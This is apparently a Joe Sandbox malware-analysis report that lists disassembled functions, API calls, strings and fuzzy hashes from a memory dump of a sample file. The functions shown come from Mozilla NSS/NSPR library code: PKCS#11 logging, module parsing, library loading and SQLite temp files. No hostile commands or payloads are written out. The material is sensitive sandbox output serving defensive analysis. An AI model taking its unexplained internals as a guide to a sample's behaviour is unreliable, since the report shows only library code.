Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn$ModulePageSize
String ID: *phPrivateKey = 0x%x$ *phPublicKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pPrivateKeyTemplate = 0x%p$ pPublicKeyTemplate = 0x%p$ phPrivateKey = 0x%p$ phPublicKey = 0x%p$ ulPrivateKeyAttributeCount = %d$ ulPublicKeyAttributeCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKeyPair
API String ID: 510426473-985563836
Opcode ID: dea2b33865c459345f2c601b4a45fb3a92385ecd66d696569c28d043f4905b3a
Instruction ID: 73092d37f403bcc622e50940a6b99d5c80ae5cbc5e0d72d9497101b4e1dc249f
Opcode Fuzzy Hash: dea2b33865c459345f2c601b4a45fb3a92385ecd66d696569c28d043f4905b3a
Instruction Fuzzy Hash: B961E475701180ABDB008F54EE88EEE37B5FB4631DF084029E80967712DB35D959CBA7

Function 6CAC28A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CAC28BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CAC28EF

Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0B88
Part of subcall function 6CBA09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBA0C5D
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBA0C8D
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0C9C
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0CD1
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0CEC
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0CFB
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0D16
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBA0D26
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D35
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CBA0D65
Part of subcall function 6CBA09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBA0D70
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0D90
Part of subcall function 6CBA09D0: free.MOZGLUE(00000000), ref: 6CBA0D99

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAC28D6

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CAC2963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CAC2983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CAC29A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CAC29C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CAC2A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CAC2A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CAC2A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CAC2A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CAC2AB6

Strings

slotID = 0x%x, xrefs: 6CAC28D1
CKF_USER_PIN_INIT, xrefs: 6CAC29E5
C_GetTokenInfo, xrefs: 6CAC28B8
CKF_RNG, xrefs: 6CAC2A13, 6CAC2A20
label = "%.32s", xrefs: 6CAC295E
pInfo = 0x%p, xrefs: 6CAC28EA
serial = "%.16s", xrefs: 6CAC29BE
CKF_LOGIN_REQUIRED, xrefs: 6CAC29F3, 6CAC2A1E
CKF_WRITE_PROTECTED, xrefs: 6CAC29FE, 6CAC2A1F
firmware version: %d.%d, xrefs: 6CAC2AB1
maxRwSessions = %u, RwSessions = %u, xrefs: 6CAC2A61
maxSessions = %u, Sessions = %u, xrefs: 6CAC2A43
manufacturerID = "%.32s", xrefs: 6CAC297E
flags = %s %s %s %s, xrefs: 6CAC2A21
model = "%.16s", xrefs: 6CAC299E
hardware version: %d.%d, xrefs: 6CAC2A89

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: b0e3398ae7f4a8eceacf3ec9be6845e348e18e935c7db0abb1a0897de2d80ddf
Instruction ID: 79dd35a02b5f93be5b2cb125716b05a9a03369a2764a3dc861efb53468e6f897
Opcode Fuzzy Hash: b0e3398ae7f4a8eceacf3ec9be6845e348e18e935c7db0abb1a0897de2d80ddf
Instruction Fuzzy Hash: 085124B52000C4AFEB008F94EE8CAA937A5EB4231DF498074E8559BB12DB31DD48CB67

Function 6CAA6BF0 Relevance: 49.1, APIs: 19, Strings: 9, Instructions: 148COMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(6CBE0148,?,?,?,?,6CAA6DC2), ref: 6CAA6BFF
PR_smprintf.NSS3(%s manufacturerID='%s',00000000,?,6CAA6DC2), ref: 6CAA6C1C

Part of subcall function 6CA7C5E0: free.MOZGLUE(?,?,?,?,00000000,00000001,?,6CA81FBD,Unable to create nspr log file '%s',00000000), ref: 6CA7C63B

free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6C27
PR_smprintf.NSS3(%s libraryDescription='%s',00000000,?,6CAA6DC2), ref: 6CAA6C45
free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6C50
PR_smprintf.NSS3(%s cryptoTokenDescription='%s',00000000,?,6CAA6DC2), ref: 6CAA6C71
free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6C7C
PR_smprintf.NSS3(%s dbTokenDescription='%s',00000000,?,6CAA6DC2), ref: 6CAA6C9D
free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6CA8
PR_smprintf.NSS3(%s cryptoSlotDescription='%s',00000000,?,6CAA6DC2), ref: 6CAA6CC9
free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6CD4
PR_smprintf.NSS3(%s dbSlotDescription='%s',00000000,?,6CAA6DC2), ref: 6CAA6CF5
free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6D00
PR_smprintf.NSS3(%s FIPSSlotDescription='%s',00000000,?,6CAA6DC2), ref: 6CAA6D1D
free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6D28
PR_smprintf.NSS3(%s FIPSTokenDescription='%s',00000000,?,6CAA6DC2), ref: 6CAA6D45
free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6D50
PR_smprintf.NSS3(%s minPS=%d,00000000,?,6CAA6DC2), ref: 6CAA6D68
free.MOZGLUE(00000000,?,?,?,6CAA6DC2), ref: 6CAA6D73

Strings

%s FIPSTokenDescription='%s', xrefs: 6CAA6D40
%s dbTokenDescription='%s', xrefs: 6CAA6C98
%s manufacturerID='%s', xrefs: 6CAA6C17
%s cryptoSlotDescription='%s', xrefs: 6CAA6CC4
%s minPS=%d, xrefs: 6CAA6D63
%s FIPSSlotDescription='%s', xrefs: 6CAA6D18
%s dbSlotDescription='%s', xrefs: 6CAA6CF0
%s cryptoTokenDescription='%s', xrefs: 6CAA6C6C
%s libraryDescription='%s', xrefs: 6CAA6C40

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: R_smprintffree
String ID: %s FIPSSlotDescription='%s'$%s FIPSTokenDescription='%s'$%s cryptoSlotDescription='%s'$%s cryptoTokenDescription='%s'$%s dbSlotDescription='%s'$%s dbTokenDescription='%s'$%s libraryDescription='%s'$%s manufacturerID='%s'$%s minPS=%d
API String ID: 657075589-3414793728
Opcode ID: 7f0f6aead43ab3ac45bcd4dd5b7895606c4e7b639f9976863b29ad30835cdb74
Instruction ID: d1f67b929208924174bc47f5716c9dae18ef8aea6547f7b54b8057c9177a2c13
Opcode Fuzzy Hash: 7f0f6aead43ab3ac45bcd4dd5b7895606c4e7b639f9976863b29ad30835cdb74
Instruction Fuzzy Hash: B541C7BA50285127AB106A696C06D7B3E58ADC15EC71D0130FC3DC7B04FA12DD5A87F7

Function 6CA80AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA80AD4

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3 ref: 6CA80B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6CA80B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6CA80B54
WideCharToMultiByte.KERNEL32 ref: 6CA80B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA80BC9
calloc.MOZGLUE(00000001,00000014), ref: 6CA80BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6CA80C15

Strings

error %d, xrefs: 6CA80D08
Loaded library %s (load lib), xrefs: 6CA80D6F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: 80d1db3af308c24f954f6c94833ec56716a0d8b4bcf4ca74277c18264cd0fbac
Instruction ID: 82128408669dfe9cb9981a88ecf0a55d8bac0238b080bb02ac0ae7078b85e85d
Opcode Fuzzy Hash: 80d1db3af308c24f954f6c94833ec56716a0d8b4bcf4ca74277c18264cd0fbac
Instruction Fuzzy Hash: 1671E8B1A032649BEB109F39DD48B5B7BB8EF49758F044169EC0AD7740EB309E84CB91

Function 6CACCB70 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 225fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_OUTPUT_FILE,6CAE444C,00000000,00000000,00000000,?,6CAA7F7C,6CAA80DD), ref: 6CACCB8B

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CBDDEB5,?,6CAE444C,00000000,00000000,00000000,?,6CAA7F7C,6CAA80DD), ref: 6CACCB9D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,6CAE444C,00000000,00000000,00000000,?,6CAA7F7C,6CAA80DD), ref: 6CACCBAE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000,?,?,?,?,?,?,?,?,?,6CAE444C,00000000,00000000,00000000), ref: 6CACCBE6
PR_IntervalToMicroseconds.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CAE444C,00000000,00000000,00000000), ref: 6CACCC37
PR_IntervalToMilliseconds.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAE444C,00000000,00000000), ref: 6CACCCA4
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CACCD84
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CAE444C,00000000), ref: 6CACCDA6
PR_IntervalToMilliseconds.NSS3(6CAE444C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAE444C), ref: 6CACCE02
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CACCE59
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 6CACCE64
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CACCE72

Strings

Avg., xrefs: 6CACCBBE
Maximum number of concurrent open sessions: %d, xrefs: 6CACCE4A
Function, xrefs: 6CACCBCD
%25s %10d %10d%2s, xrefs: 6CACCE33
%-25s %10s %12s %12s %10s, xrefs: 6CACCBD2
# Calls, xrefs: 6CACCBC8
Totals, xrefs: 6CACCE2E
%-25s %10d %10d%2s , xrefs: 6CACCCD3
% Time, xrefs: 6CACCBB9
NSS_OUTPUT_FILE, xrefs: 6CACCB86

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Intervalfputc$Milliseconds__acrt_iob_func$CriticalEnterMicrosecondsSectionSecureUnlockValuefclosefflushfopengetenv
String ID: Maximum number of concurrent open sessions: %d$# Calls$% Time$%-25s %10d %10d%2s $%-25s %10s %12s %12s %10s$%25s %10d %10d%2s$Avg.$Function$NSS_OUTPUT_FILE$Totals
API String ID: 2795105899-3917921256
Opcode ID: b1afc36f309e016eef7c4e223369dbb06c5b1f6aa845fed42c3b4812f7a0ae6c
Instruction ID: e7a5554c1b6b26557d2022fc9a6df5e30b7fbd1a0d99a23eebb3d2c9a008e888
Opcode Fuzzy Hash: b1afc36f309e016eef7c4e223369dbb06c5b1f6aa845fed42c3b4812f7a0ae6c
Instruction Fuzzy Hash: BA717873F041905BC701BA7DAD02A6EBA759F8774CF184625E80677F11FB218CD486A3

Function 6CB66E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CA2BE66), ref: 6CB66E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CA2BE66), ref: 6CB66E98
sqlite3_snprintf.NSS3(?,00000000,6CBCAAF9,?,?,?,?,?,?,6CA2BE66), ref: 6CB66EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CA2BE66), ref: 6CB66ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CA2BE66), ref: 6CB66EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CA2BE66), ref: 6CB66FA6
sqlite3_snprintf.NSS3(?,00000000,6CBCAAF9,00000000,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB67014
sqlite3_free.NSS3(00000000,?,?,?,?,6CA2BE66), ref: 6CB6701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CA2BE66), ref: 6CB67030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB6705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CA2BE66), ref: 6CB67079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB67097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB670A0

Strings

mz_etilqs_, xrefs: 6CB66F18
winGetTempname4, xrefs: 6CB67046
winGetTempname2, xrefs: 6CB670C4
winGetTempname5, xrefs: 6CB67071
winGetTempname1, xrefs: 6CB6708F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 784c397faa629d1b765d481d48113c4ee8fb35c8f1bf35d67cb3704760fee9a5
Instruction ID: 77fe718012acb91ad50bbe4e3a34770b70e53d534296a595b8d63baa8b706d50
Opcode Fuzzy Hash: 784c397faa629d1b765d481d48113c4ee8fb35c8f1bf35d67cb3704760fee9a5
Instruction Fuzzy Hash: 0D518BB1A0429167E7009631DD51BBF366ADF92318F144638E815A7FC1FB35A81EC2E3

Function 6CAF4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000,00000000,00000001), ref: 6CAF5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAF5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CAF5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CAF50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2), ref: 6CAF50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAF50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5153
free.MOZGLUE(?), ref: 6CAF516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAF517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF5195

Strings

name=, xrefs: 6CAF5057
config=, xrefs: 6CAF509B
nss=, xrefs: 6CAF5083
library=, xrefs: 6CAF5043
parameters=, xrefs: 6CAF506B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: f46760dd6ca685ed62fd2f0b013451bed5ef88870d23bb01b8898fddb228cf11
Instruction ID: 3c5a9baec81f0903cacfd609aa740c47c515b0da055c06b30af03d8af949c1a1
Opcode Fuzzy Hash: f46760dd6ca685ed62fd2f0b013451bed5ef88870d23bb01b8898fddb228cf11
Instruction Fuzzy Hash: E05182B5A012556FEB01DF24DC41AAF37A8AF06248F184020FC65E7741EB35F95ACBB6

Function 6CAC8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CAC8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8EB3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAC8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CAC8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CAC8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAC8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CAC8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CAC8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CAC8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CAC9047

Strings

pMechanism = 0x%p, xrefs: 6CAC8EE0
pulWrappedKeyLen = 0x%p, xrefs: 6CAC8FC8
pWrappedKey = 0x%p, xrefs: 6CAC8FAD
hWrappingKey = 0x%x, xrefs: 6CAC8F01, 6CAC8F11
(CK_INVALID_HANDLE), xrefs: 6CAC8EAC, 6CAC8F1F, 6CAC8F79
hSession = 0x%x, xrefs: 6CAC8E8E, 6CAC8E9E
C_WrapKey, xrefs: 6CAC8E71
hKey = 0x%x, xrefs: 6CAC8F5B, 6CAC8F6B
*pulWrappedKeyLen = 0x%x, xrefs: 6CAC9042

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
